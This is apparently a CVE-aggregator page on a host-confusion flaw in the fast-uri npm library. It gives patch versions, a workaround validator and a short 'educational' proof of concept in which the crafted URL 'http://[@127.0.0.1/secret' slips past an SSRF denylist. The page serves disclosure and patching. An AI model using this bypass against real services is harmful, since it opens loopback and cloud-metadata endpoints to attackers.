Listen to this Post
fast-uri accepts a host that contains an unbalanced or misplaced authority bracket ([ or ]) without reporting an error. A host that starts with `[` but does not end with ], such as [@127.0.0.1, is neither validated as an IP literal nor canonicalized as a domain name, so `parse()` returns it as the host with `error` undefined, while Node’s `URL` (and http.get, axios, got, and other clients built on it) resolve the same string to 127.0.0.1. An application that reads `parse().host` to make a host decision (an SSRF denylist, a redirect allowlist, or proxy routing) and then passes the original URL to an HTTP client evaluates its policy against a string that is not the host the request reaches. The same host is carried through normalize(), equal(), and resolve().
This vulnerability has been patched in fast-uri 4.1.4, 3.1.7, and 2.4.6. `parse()` now reports `URI host is malformed.` for any host that contains a bracket but is not a valid `
` literal. All users should upgrade. If upgrading is not immediately possible, reject any URL whose host contains a `[` or `]` that is not a well-formed IPv6 literal before making a host decision. Clients that fail closed on credential-bearing URLs, such as Node's global <code>fetch()</code>, are not affected by the reported vector. <h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">DailyCVE Form:</h2> Platform: fast-uri Version: 2.4.5, 3.1.6, 4.1.3 Vulnerability: Host confusion Severity: High (7.5) date: 2026-09-02 <h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Prediction: 2026-09-09</h2> <h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">What Undercode Say:</h2> <h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Analytics:</h2> [bash] $ npm install [email protected] const uri = require('fast-uri'); const parsed = uri.parse('http://[@127.0.0.1/admin'); console.log(parsed.host); // [@127.0.0.1 console.log(parsed.error); // undefined // Node's URL resolves the same input differently: const { URL } = require('url'); const nodeUrl = new URL('http://[@127.0.0.1/admin'); console.log(nodeUrl.hostname); // 127.0.0.1
Exploit: (Educational Purposes!)
// Vulnerable SSRF denylist logic using fast-uri
const uri = require('fast-uri');
const http = require('http');
function isBlockedHost(url) {
const parsed = uri.parse(url);
const blocked = ['127.0.0.1', '169.254.169.254', 'localhost'];
return blocked.includes(parsed.host);
}
const maliciousUrl = 'http://[@127.0.0.1/secret';
console.log(isBlockedHost(maliciousUrl)); // false (bypass)
http.get(maliciousUrl); // request actually goes to 127.0.0.1
Protection: from this CVE
Upgrade to a patched version:
npm install fast-uri@^4.1.4
npm install fast-uri@^3.1.7
npm install fast-uri@^2.4.6
Workaround: validate host before decision
function isSafeHost(url) {
const parsed = uri.parse(url);
if (parsed.host && (parsed.host.includes('[') || parsed.host.includes(']'))) {
if (!/^[[0-9a-fA-F:]+]$/.test(parsed.host)) {
throw new Error('Malformed authority bracket');
}
}
return parsed.host;
}
Impact:
Server-Side Request Forgery (SSRF), bypass of host-based denylists, redirect allowlists, and proxy routing policies. Attackers can redirect requests to loopback, internal, or cloud metadata endpoints by crafting URLs with unbalanced authority brackets that pass validation but resolve to different destinations in the underlying HTTP client.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
